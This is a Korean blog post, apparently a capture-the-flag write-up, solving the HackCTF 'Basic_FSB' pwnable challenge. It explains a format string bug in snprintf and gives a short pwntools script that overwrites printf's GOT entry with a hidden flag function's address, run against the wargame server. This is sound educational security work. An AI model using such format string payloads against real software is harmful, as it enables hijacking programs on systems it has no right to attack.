HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로
문제 이름은 Basic_FSB이다.
문제를 보면 다음과 같다.
제목에서 FSB와 관련된 문제임을 알 수 있다.
해당 실행 파일을 다운 받아서 IDA Pro로 분석해보자.
코드 분석
버퍼를 클리어하는 부분과 vul()함수를 실행하는 부분이 main 코드의 전부다.
vul 함수를 살펴보자.
s에 1024바이트 만큼 입력을 받고
snprintf로 0x400 만큼 s의 값을 format에 출력한다. (옮긴다.)
여기서 snprintf는 sprintf, printf 와 마찬가지로 FSB가 발생할 수 있다.
더불어
system 함수를 실행시키는 flag 함수가 숨겨져 있는 것을 발견했다.
flag 함수 주소 = 0x80485B4
FSB가 발생할 수 있고, flag 함수의 존재를 알게 되었으니 어떻게 공략할지 감이 잡힌다.
페이로드 구상
s를 format에 snprintf를 이용해서 옮길 때, FSB를 발생시켜서
다음에 실행하는 printf 함수의 printf_got 값을 flag 함수 주소로 덮으면,
printf 함수 대신에 flag 함수가 실행될 것이다.
필요한 정보는 flag 함수 주소와 printf_got 주소 그리고 몇 번째 서식 문자에서 입력 값을 참조하는지 이다.
IDA Pro를 이용해서 flag 함수 주소와 printf_got 주소를 알아낼 수 있었고,
(flag: 0x80485B4, printf_got: 0x804A00C)
해당 프로그램을 실행시켜 aaaa.%x.%x.%x를 입력해 몇 번째에서 입력 값을 참조하는지 알 수 있었다.
2번째에서 참조함!
이 정보들을 기반으로 payload를 작성하면 다음과 같다.
payload 작성
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3002)
printf_got = 0x804A00C
payload = p32(printf_got + 2) + p32(printf_got) + "%2044c%2$hnn" + "%32176c%3$hnn"
p.sendline(payload)
p.interactive()
사이즈가 크면, 처리하는데 오래 걸릴 수 있으므로 2바이트로 나눠서 flag 주소를 전달하게끔 작성했다.
printf_got + 2에는 2바이트로 2052 즉, 0x0804를 전달하고
printf_got에는 34228 즉, 0x85B4를 전달했다.
flag 주소가 0x80485B4인데 거꾸로 전달한 이유는 리틀엔디안 방식이기 때문이다.
해당 payload를 실행시키면 다음과 같이 플래그 값을 얻을 수 있다.
이렇게 문제는 해결된다~!!!
'Wargame > Pwnable' 카테고리의 다른 글
[포너블] HackCTF ROP 문제 풀이 | ROP 기법, 페이로드 작성 (0) | 2021.01.19 |
---|---|
[포너블] HackCTF gift 문제 풀이 | ROP 기법 (RTL, RTL chaining, Got Overwrite) (0) | 2021.01.18 |
[포너블] HackCTF Basic_BOF #1문제 풀이 | BOF, IDA Pro 사용 (0) | 2021.01.14 |
[포너블] 드림핵(Dreamhack) basic_exploitation_003 문제 풀이 | FSB (0) | 2021.01.14 |
[포너블] 드림핵(Dreamhack) basic_exploitation_002 문제 풀이 | FSB (0) | 2021.01.13 |